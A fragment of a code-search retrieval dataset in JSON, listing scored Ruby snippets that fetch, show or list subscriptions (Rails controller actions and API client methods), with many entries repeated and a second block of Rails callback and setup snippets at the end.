"text": "def current_subscription\n self.subscriptions.current.first\n end",
"title": ""
},
{
"docid": "65b1ea4edd7d544cfd81726c52b4a712",
"score": "0.6651442",
"text": "def show\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscription }\n end\n end",
"title": ""
},
{
"docid": "65b1ea4edd7d544cfd81726c52b4a712",
"score": "0.6651442",
"text": "def show\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscription }\n end\n end",
"title": ""
},
{
"docid": "65b1ea4edd7d544cfd81726c52b4a712",
"score": "0.6651442",
"text": "def show\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscription }\n end\n end",
"title": ""
},
{
"docid": "65b1ea4edd7d544cfd81726c52b4a712",
"score": "0.6651442",
"text": "def show\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscription }\n end\n end",
"title": ""
},
{
"docid": "8febd19b43cf8a1b19086c39e72f53a3",
"score": "0.66507465",
"text": "def subscription_params\n params[:subscription]\n end",
"title": ""
},
{
"docid": "4280635f570fe78472eb05d984a32aca",
"score": "0.6649511",
"text": "def show\n @subscription = Subscription.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscription }\n end\n end",
"title": ""
},
{
"docid": "e463064d00fae4f4a43fd2525feaf9d4",
"score": "0.6645293",
"text": "def subscription_status\n @json_body['subscription_status']\n end",
"title": ""
},
{
"docid": "04b5179b5ce9518dd3b6a938789d7397",
"score": "0.66162694",
"text": "def subscription subscription_name, skip_lookup: nil\n ensure_connection!\n if skip_lookup\n return Subscription.new_lazy(subscription_name, connection)\n end\n resp = connection.get_subscription subscription_name\n return Subscription.from_gapi(resp.data, connection) if resp.success?\n return nil if resp.status == 404\n fail ApiError.from_response(resp)\n end",
"title": ""
},
{
"docid": "25b81b172092c17301427215f053a122",
"score": "0.65750355",
"text": "def display_subscribed(event, subscription)\n \"subscribe(#{event}) by #{subscription_location(subscription)}\"\n end",
"title": ""
},
{
"docid": "c3e19d42e8c899071b25de038dc2db90",
"score": "0.65654045",
"text": "def subscription_id\n @event.attributes[:subscription_id]\n end",
"title": ""
},
{
"docid": "029dc35f11b16e1b00f8cf238f016390",
"score": "0.6564785",
"text": "def fetch_subscription(trans_id)\n base_url = rave_object.base_url\n secret_key = rave_object.secret_key.dup\n\n response = get_request(\"#{base_url}#{BASE_ENDPOINTS::SUBSCRIPTIONS_ENDPOINT}/query\",{\"seckey\" => rave_object.secret_key.dup, \"transaction_id\" => trans_id})\n return handle_fetch_subscription_response(response)\n end",
"title": ""
},
{
"docid": "cf353adbed8583ce92673de4a9335333",
"score": "0.6537669",
"text": "def show\n if session[:user_id] \n @subscription = Subscription.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subscription }\n end\n end\n end",
"title": ""
},
{
"docid": "041679d928782479e668e58086659b34",
"score": "0.6515323",
"text": "def get_subscription_with_http_info(sub_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: SubscriptionsApi.get_subscription ...\"\n end\n # verify the required parameter 'sub_id' is set\n fail ArgumentError, \"Missing the required parameter 'sub_id' when calling SubscriptionsApi.get_subscription\" if sub_id.nil?\n # resource path\n local_var_path = \"/subscriptions/{subId}\".sub('{format}','json').sub('{' + 'subId' + '}', sub_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['artikcloud_oauth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'SubscriptionEnvelope')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SubscriptionsApi#get_subscription\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "52090755acaaf90fb8bda120e006ec97",
"score": "0.6502728",
"text": "def list_my_subscriptions() path = \"/api/v2/utilities/subscriptions\"\n get(path, {}, AvaTax::VERSION) end",
"title": ""
},
{
"docid": "e3af0e385434925055cf9291770c5343",
"score": "0.64978856",
"text": "def get(incoming={})\n opts = HttpClient::Helper.symbolize_keys(incoming)\n query = {\n :guid => HttpClient::Preconditions.assert_class_or_nil('guid', HttpClient::Helper.to_uuid(opts.delete(:guid)), String),\n :organization_key => HttpClient::Preconditions.assert_class_or_nil('organization_key', opts.delete(:organization_key), String),\n :user_guid => HttpClient::Preconditions.assert_class_or_nil('user_guid', HttpClient::Helper.to_uuid(opts.delete(:user_guid)), String),\n :publication => HttpClient::Preconditions.assert_class_or_nil('publication', opts[:publication].nil? ? nil : (opts[:publication].is_a?(Apidoc::Models::Publication) ? opts.delete(:publication) : Apidoc::Models::Publication.apply(opts.delete(:publication))), Apidoc::Models::Publication),\n :limit => HttpClient::Preconditions.assert_class_or_nil('limit', opts.delete(:limit), Integer),\n :offset => HttpClient::Preconditions.assert_class_or_nil('offset', opts.delete(:offset), Integer)\n }.delete_if { |k, v| v.nil? }\n @client.request(\"/subscriptions\").with_query(query).get.map { |hash| Apidoc::Models::Subscription.new(hash) }\n end",
"title": ""
},
{
"docid": "e5dbd8cde0e6aa2929cc56bbcc06eb7d",
"score": "0.6481991",
"text": "def subscription\n ensure_connection\n @consumers.find(&:subscription)\n end",
"title": ""
},
{
"docid": "4e41ccb0703b9b957fd5ca335d84bc91",
"score": "0.6468201",
"text": "def get_subscription_data ()\n\n # https://github.com/RallyTools/RallyRestToolkitForRuby/blob/master/lib/rally_api/rally_query.rb\n # Query options:\tExample:\t\t\tDefault if nil:\n # --------------------\t------------------------------\t----------------------------------------\n # .type\t\t\t:Defect, :Story, etc\t\t---\n # .query_string\t\t\"(State = \\\"Closed\\\")\"\t\t---\n # .fetch\t\t\"Name,State,etc\"\t\t---\n # .workspace\t\tworkspace json object or ref\tworkspace passed in RallyRestJson.new\n # .project\t\tproject json object or ref\tproject passed in RallyRestJson.new\n # .project_scope_up\ttrue, false\t\t\tfalse\n # .project_scope_down\ttrue, false\t\t\tfalse\n # .order\t\t\"ObjectID asc\"\t\t\t---\n # .page_size\t\t50, 100\t\t\t\t200\n # .limit\t\t1000, 2000\t\t\t99999\n # --------------------\t------------------------------\t----------------------------------------\n\n query\t\t= RallyAPI::RallyQuery.new()\n query.type\t= :subscription\n query.fetch\t= \"Name,Workspaces,State,Projects\"\n\n print \"Attempting query for <#{query.type}> objects...\\n\"\n my_subs\t\t= @rallycon.find(query)\n @rallysub\t= my_subs.first\n print \"Query for <#{query.type}> objects returned a total of <#{my_subs.total_result_count}>; Using first; Name=<#{@rallysub.Name}>\\n\"\nend",
"title": ""
},
{
"docid": "267ce9452dc0d214250381c43a495268",
"score": "0.64565235",
"text": "def subscription(repo, options = {})\n get \"#{Repository.path repo}/subscription\", options\n end",
"title": ""
},
{
"docid": "2f5cc85b652ba6cc6a2292ff87b798c3",
"score": "0.6448537",
"text": "def subscription_id\n customer.subscriptions.first.id\n end",
"title": ""
},
{
"docid": "a798e4e435ec5f711891f7c9c8e3cf82",
"score": "0.6443117",
"text": "def get_subscription(subscription_id, opts = {})\n data, _status_code, _headers = get_subscription_with_http_info(subscription_id, opts)\n data\n end",
"title": ""
},
{
"docid": "bfe9cdb15248ac1f0561e375a2b2f85a",
"score": "0.6420926",
"text": "def list_subs\n \t@subs = instagram_client.subscriptions\n end",
"title": ""
},
{
"docid": "598586abb31304221673ee320d42f831",
"score": "0.6409051",
"text": "def subscriptions( params={} )\n subscriptions = get_connections(\"subscriptions\", params)\n return map_connections subscriptions, :to => Facebook::Graph::Subscription\n end",
"title": ""
},
{
"docid": "c6f5c31793d660dd28fc95a286d921c2",
"score": "0.64060414",
"text": "def show\n @subscription = Subscription.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subscription }\n end\n end",
"title": ""
},
{
"docid": "442180a603a1b595ff070ac286079095",
"score": "0.639841",
"text": "def show\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subscription }\n end\n end",
"title": ""
},
{
"docid": "442180a603a1b595ff070ac286079095",
"score": "0.639841",
"text": "def show\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subscription }\n end\n end",
"title": ""
},
{
"docid": "442180a603a1b595ff070ac286079095",
"score": "0.639841",
"text": "def show\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subscription }\n end\n end",
"title": ""
},
{
"docid": "0beb70e8d39b2c858a4cd5cc88d9b06a",
"score": "0.63679147",
"text": "def show\n json_response(@user_subscription)\n end",
"title": ""
},
{
"docid": "385bad80d0d06c180ce0a5a4446aa060",
"score": "0.6351548",
"text": "def subscription(options = {})\n Subscription.new(options.merge(:url => url)).to_hash\n end",
"title": ""
},
{
"docid": "72ac605890fed52d7aecfcbe3dc909bd",
"score": "0.63487893",
"text": "def list_subscription\n response = Faraday.get(@subscription_api_url)\n response_json = JSON.parse(response.body)\n fix_response(response_json)\n end",
"title": ""
},
{
"docid": "3fe28f36ed3a3e5d8caac8de394eee86",
"score": "0.6326264",
"text": "def show\n @subscription = Subscription.find(params[:id])\n auth!\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subscription }\n end\n end",
"title": ""
},
{
"docid": "150c4677dfa76cf95fa7c0614edd3ce2",
"score": "0.632175",
"text": "def show\n\t\tshow_\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml { render :xml => @subscription }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "2572374a57a4ab7bd36175ab09a9a158",
"score": "0.63154775",
"text": "def show\n @subscription = Subscription.find(params[:id])\n auth!\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render xml: @subscription }\n end\n end",
"title": ""
},
{
"docid": "670bf73014f839ffe488b6e420700667",
"score": "0.6314546",
"text": "def subid\n unsubscribe[:subid]\n end",
"title": ""
},
{
"docid": "0991c876f8e4c54e6a5c9973dafb97af",
"score": "0.62921166",
"text": "def subscription\n @current\n end",
"title": ""
},
{
"docid": "149b4288a27861d7fd2038796374b21f",
"score": "0.6291523",
"text": "def retrieve_subscription(subscription_id:,\n include: nil)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::GET,\n '/v2/subscriptions/{subscription_id}',\n 'default')\n .template_param(new_parameter(subscription_id, key: 'subscription_id')\n .should_encode(true))\n .query_param(new_parameter(include, key: 'include'))\n .header_param(new_parameter('application/json', key: 'accept'))\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end",
"title": ""
},
{
"docid": "2d27ee6c5b0dc660a7856ffbfd46e1de",
"score": "0.6279564",
"text": "def active_subscription\n self.active_subscriptions.first\n end",
"title": ""
},
{
"docid": "45e16b94ef9b10a8e2f06975daaf3ca2",
"score": "0.62501144",
"text": "def lookup_subscription_entry(name)\n\t\tend",
"title": ""
},
{
"docid": "c1fcdf540c87b9dc64e10692b17a64ac",
"score": "0.6248443",
"text": "def api_payment_subscription_status\n\n raise \"No subscription Transaction ID\" unless @payment_subscription_txid\n\n url = \"#{@config['api_host']}/1/payments/transactions/#{@payment_subscription_txid}?access_token=#{@oauth_token}\"\n\n log \"Finding subscription info\"\n log_error \"Request: #{url}\" if @debug >= AttApiReporter::DEBUG_INFO\n\n begin\n page = @agent.get(url)\n subscriptionStatus = JSON.parse(page.body)\n log \"Got subscription info\"\n log_error JSON.pretty_generate(subscriptionStatus)\n rescue Exception => e\n log_error e.backtrace\n log_error e.page.body\n return \"FAILED\"\n end\n return \"OK\"\n end",
"title": ""
},
{
"docid": "01317fe23eac23ee539327abd6c46fae",
"score": "0.6238595",
"text": "def get_subscription(sub_id, opts = {})\n data, _status_code, _headers = get_subscription_with_http_info(sub_id, opts)\n return data\n end",
"title": ""
},
{
"docid": "cf5f1b5be319527e8eb7901d865749a9",
"score": "0.6235615",
"text": "def get_subscription_with_http_info(subscription_id, options = {})\n opts = options.dup\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AppStoreApi.get_subscription ...'\n end\n # verify the required parameter 'subscription_id' is set\n if @api_client.config.client_side_validation && subscription_id.nil?\n fail ArgumentError, \"Missing the required parameter 'subscription_id' when calling AppStoreApi.get_subscription\"\n end\n # resource path\n local_var_path = '/subscriptions/{subscriptionId}'.sub('{' + 'subscriptionId' + '}', subscription_id.to_s)\n\n # camelize keys of incoming `where` opts\n opts[:'where'] = @api_client.parameterize_where(opts[:'where']) if !opts[:'where'].nil?\n\n # query parameters\n query_params = opts[:query_params] || {}\n \n # XeroAPI's `IDs` convention openapi-generator does not snake_case properly.. manual over-riding `i_ds` malformations:\n query_params[:'IDs'] = @api_client.build_collection_param(opts[:'ids'], :csv) if !opts[:'ids'].nil?\n query_params[:'ContactIDs'] = @api_client.build_collection_param(opts[:'contact_ids'], :csv) if !opts[:'contact_ids'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Subscription' \n\n # auth_names\n auth_names = opts[:auth_names] || ['OAuth2']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, \"AppStoreApi\", new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AppStoreApi#get_subscription\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "baefa3cd87c76372e3ff80903039f660",
"score": "0.62263846",
"text": "def get_subscriptions\n get_subscriptions_from(@nodename)\n end",
"title": ""
},
{
"docid": "d0628a442447695d9c1011e4c037fedf",
"score": "0.6221053",
"text": "def show\n cf_get(path: \"/zones/#{zone_id}/subscription\")\n end",
"title": ""
},
{
"docid": "d29febfb9f2fe5b1c87d13204874532d",
"score": "0.62158585",
"text": "def show\n @subscriber = Subscriber.find(params[:id])\n end",
"title": ""
},
{
"docid": "20b019edc954eda7b865cae6b3c04f6f",
"score": "0.6215729",
"text": "def show\n @subscription_request = SubscriptionRequest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscription_request }\n end\n end",
"title": ""
},
{
"docid": "184be3e28fb11bca99babf17c27f03ec",
"score": "0.6201862",
"text": "def fetch_subscription(_params) \n subscription_id = _params['subscription_id']\n if subscription_id.blank? == true \n return false\n end \n begin\n result = ChargeBee::Subscription.retrieve(subscription_id)\n session[:subscription_id] = result.subscription.id\n session[:customer_id] = result.customer.id\n return true\n rescue ChargeBee::APIError => e\n if e.api_error_code == \"resource_not_found\"\n return false\n end\n throw e\n end\n end",
"title": ""
},
{
"docid": "488ee1a538f8ba5c0971222d3102a654",
"score": "0.62011456",
"text": "def subscriptions\n\t\t@subscriptions = current_user.customer.subjects\n\tend",
"title": ""
},
{
"docid": "db4c00496f47ad6533bf556ad16a2490",
"score": "0.6185192",
"text": "def show_subscriptions\n puts \"\\nYour current subscriptions are:\"\n @user.subscriptions.reload.each do |sub|\n puts sub.name\n end\n end",
"title": ""
},
{
"docid": "085eca469bb023234fac0ff970518509",
"score": "0.61831963",
"text": "def subscription(topic_name, subscription_name)\n pubsub.subscription(subscription_name) ||\n create_subscription(topic_name, subscription_name)\n end",
"title": ""
},
{
"docid": "4f3664738b80ec548f51269377e635bf",
"score": "0.6168006",
"text": "def show\n raise CanCan::AccessDenied unless current_ability.admin?\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"params=#{params}\",\n \"\" ]\n @email_subscription = EmailSubscription.find params[:id]\n end",
"title": ""
},
{
"docid": "c8c96c0cea1833f6f6c9fff769c39a48",
"score": "0.61639005",
"text": "def show_single_webhook_subscription(id,opts={})\n query_param_keys = [\n \n\n ]\n\n form_param_keys = [\n \n\n ]\n\n # verify existence of params\n raise \"id is required\" if id.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :id => id\n\n )\n\n # resource path\n path = path_replace(\"/lti/subscriptions/{id}\",\n :id => id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_query_params(options, query_param_keys)\n\n response = mixed_request(:get, path, query_params, form_params, headers)\n response\n \n\n end",
"title": ""
},
{
"docid": "257106c6ec835f47c877789493183abb",
"score": "0.61611086",
"text": "def subscriptions\n ::Syncano::QueryBuilder.new(self, ::Syncano::Resources::Subscription)\n end",
"title": ""
},
{
"docid": "5b672fffc696478a8b3db1a7d800b856",
"score": "0.6150041",
"text": "def current_subscription(customer)\n customer.subscriptions.first\n end",
"title": ""
},
{
"docid": "12bb2e60e65c2e5d48ec67d4f13db172",
"score": "0.6149295",
"text": "def show\n @list_subscription = ListSubscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @list_subscription }\n end\n end",
"title": ""
},
{
"docid": "5c49725575607386d0c6dca16c9b384d",
"score": "0.6126936",
"text": "def subscriptions\n @subscriptions ||= begin\n resp = @client.access_token.get('/reader/api/0/subscription/list?output=json')\n raise \"unable to retrieve the list of subscription for user \\\"#{user_id}\\\": #{resp.inspect}\" unless resp.code_type == Net::HTTPOK\n JSON.parse(resp.body)['subscriptions'].collect do |hash|\n Google::Reader::Subscription.new(hash.merge({:client => @client}))\n end\n end\n end",
"title": ""
},
{
"docid": "801e0d6239274f573dec56a94c6a2e03",
"score": "0.6122523",
"text": "def subscription_status\n @user_subscription_status = UserSubscription.where(account_id: self.account_id, currently_active: true).first\n if !@user_subscription_status.blank?\n if @user_subscription_status.subscription_id == 1 || @user_subscription_status.subscription.deliveries_included != 0\n return \"subscribed\"\n else\n return \"not subscribed\"\n end\n else\n return \"not subscribed\"\n end\n end",
"title": ""
},
{
"docid": "3d35b552b6c38aaa322a5d2651e48259",
"score": "0.61161226",
"text": "def subscription_term; end",
"title": ""
},
{
"docid": "b6b2c5cb6aac8f08c02fa8c6b008b171",
"score": "0.6109096",
"text": "def list_subscriptions(options = {})\n api.graph_call(subscription_path, {}, \"get\", options)\n end",
"title": ""
},
{
"docid": "fedd49a812b30d1565f1b117358f0506",
"score": "0.6108848",
"text": "def info(id)\n _params = {:id => id}\n return @master.call 'subaccounts/info', _params\n end",
"title": ""
},
{
"docid": "2826b20fdf37245917959d0668a7e7b8",
"score": "0.6104649",
"text": "def show\n @service_subscription = ServiceSubscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @service_subscription }\n end\n end",
"title": ""
},
{
"docid": "6ae501e393652f3a4a4ef5a28fbf90e9",
"score": "0.61002594",
"text": "def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"title": ""
},
{
"docid": "6ae501e393652f3a4a4ef5a28fbf90e9",
"score": "0.61002594",
"text": "def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"title": ""
},
{
"docid": "6ae501e393652f3a4a4ef5a28fbf90e9",
"score": "0.61002594",
"text": "def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"title": ""
},
{
"docid": "6ae501e393652f3a4a4ef5a28fbf90e9",
"score": "0.61002594",
"text": "def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"title": ""
},
{
"docid": "6ae501e393652f3a4a4ef5a28fbf90e9",
"score": "0.61002594",
"text": "def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"title": ""
},
{
"docid": "6ae501e393652f3a4a4ef5a28fbf90e9",
"score": "0.61002594",
"text": "def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"title": ""
},
{
"docid": "6ae501e393652f3a4a4ef5a28fbf90e9",
"score": "0.61002594",
"text": "def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"title": ""
},
{
"docid": "6ae501e393652f3a4a4ef5a28fbf90e9",
"score": "0.61002594",
"text": "def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"title": ""
},
{
"docid": "6ae501e393652f3a4a4ef5a28fbf90e9",
"score": "0.61002594",
"text": "def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"title": ""
},
{
"docid": "6ae501e393652f3a4a4ef5a28fbf90e9",
"score": "0.61002594",
"text": "def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"title": ""
},
{
"docid": "6ae501e393652f3a4a4ef5a28fbf90e9",
"score": "0.61002594",
"text": "def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"title": ""
}
] |
f74c29bdfc4a183e1ec1b91334cd5be2 | Use callbacks to share common setup or constraints between actions. | [
{
"docid": "c488614962b64e66332974bedb9dddbe",
"score": "0.0",
"text": "def set_uni\n @uni = Uni.find(params[:id])\n end",
"title": ""
}
] | [
{
"docid": "631f4c5b12b423b76503e18a9a606ec3",
"score": "0.60310465",
"text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end",
"title": ""
},
{
"docid": "7b068b9055c4e7643d4910e8e694ecdc",
"score": "0.60152966",
"text": "def on_setup_callbacks; end",
"title": ""
},
{
"docid": "311e95e92009c313c8afd74317018994",
"score": "0.5920606",
"text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end",
"title": ""
},
{
"docid": "8315debee821f8bfc9718d31b654d2de",
"score": "0.5912896",
"text": "def initialize(*args)\n super\n @action = :setup\nend",
"title": ""
},
{
"docid": "8315debee821f8bfc9718d31b654d2de",
"score": "0.5912896",
"text": "def initialize(*args)\n super\n @action = :setup\nend",
"title": ""
},
{
"docid": "bfea4d21895187a799525503ef403d16",
"score": "0.5898134",
"text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end",
"title": ""
},
{
"docid": "352de4abc4d2d9a1df203735ef5f0b86",
"score": "0.5887081",
"text": "def required_action\n # TODO: implement\n end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5887026",
"text": "def actions; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5887026",
"text": "def actions; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5887026",
"text": "def actions; end",
"title": ""
},
{
"docid": "8713cb2364ff3f2018b0d52ab32dbf37",
"score": "0.5876557",
"text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end",
"title": ""
},
{
"docid": "a80b33627067efa06c6204bee0f5890e",
"score": "0.5860066",
"text": "def actions\n\n end",
"title": ""
},
{
"docid": "930a930e57ae15f432a627a277647f2e",
"score": "0.5807812",
"text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end",
"title": ""
},
{
"docid": "33ff963edc7c4c98d1b90e341e7c5d61",
"score": "0.57404715",
"text": "def setup\n common_setup\n end",
"title": ""
},
{
"docid": "a5ca4679d7b3eab70d3386a5dbaf27e1",
"score": "0.57310694",
"text": "def perform_setup\n end",
"title": ""
},
{
"docid": "ec7554018a9b404d942fc0a910ed95d9",
"score": "0.5715928",
"text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5701527",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "c85b0efcd2c46a181a229078d8efb4de",
"score": "0.569245",
"text": "def custom_setup\n\n end",
"title": ""
},
{
"docid": "100180fa74cf156333d506496717f587",
"score": "0.5669733",
"text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend",
"title": ""
},
{
"docid": "2198a9876a6ec535e7dcf0fd476b092f",
"score": "0.56503016",
"text": "def initial_action; end",
"title": ""
},
{
"docid": "b9b75a9e2eab9d7629c38782c0f3b40b",
"score": "0.5648064",
"text": "def setup_intent; end",
"title": ""
},
{
"docid": "471d64903a08e207b57689c9fbae0cf9",
"score": "0.5636733",
"text": "def setup_controllers &proc\n @global_setup = proc\n self\n end",
"title": ""
},
{
"docid": "468d85305e6de5748477545f889925a7",
"score": "0.5623887",
"text": "def inner_action; end",
"title": ""
},
{
"docid": "bb445e7cc46faa4197184b08218d1c6d",
"score": "0.56089544",
"text": "def pre_action\n # Override this if necessary.\n end",
"title": ""
},
{
"docid": "48804b0fa534b64e7885b90cf11bff31",
"score": "0.559635",
"text": "def execute_callbacks; end",
"title": ""
},
{
"docid": "432f1678bb85edabcf1f6d7150009703",
"score": "0.5595486",
"text": "def target_callbacks() = commands",
"title": ""
},
{
"docid": "5aab98e3f069a87e5ebe77b170eab5b9",
"score": "0.55868655",
"text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end",
"title": ""
},
{
"docid": "9efbca664902d80a451ef6cff0334fe2",
"score": "0.55584484",
"text": "def global_callbacks; end",
"title": ""
},
{
"docid": "9efbca664902d80a451ef6cff0334fe2",
"score": "0.55584484",
"text": "def global_callbacks; end",
"title": ""
},
{
"docid": "482481e8cf2720193f1cdcf32ad1c31c",
"score": "0.5507632",
"text": "def required_keys(action)\n\n end",
"title": ""
},
{
"docid": "353fd7d7cf28caafe16d2234bfbd3d16",
"score": "0.55033326",
"text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end",
"title": ""
},
{
"docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40",
"score": "0.5466339",
"text": "def on_setup(&block); end",
"title": ""
},
{
"docid": "dcf95c552669536111d95309d8f4aafd",
"score": "0.54640555",
"text": "def layout_actions\n \n end",
"title": ""
},
{
"docid": "8ab2a5ea108f779c746016b6f4a7c4a8",
"score": "0.54472816",
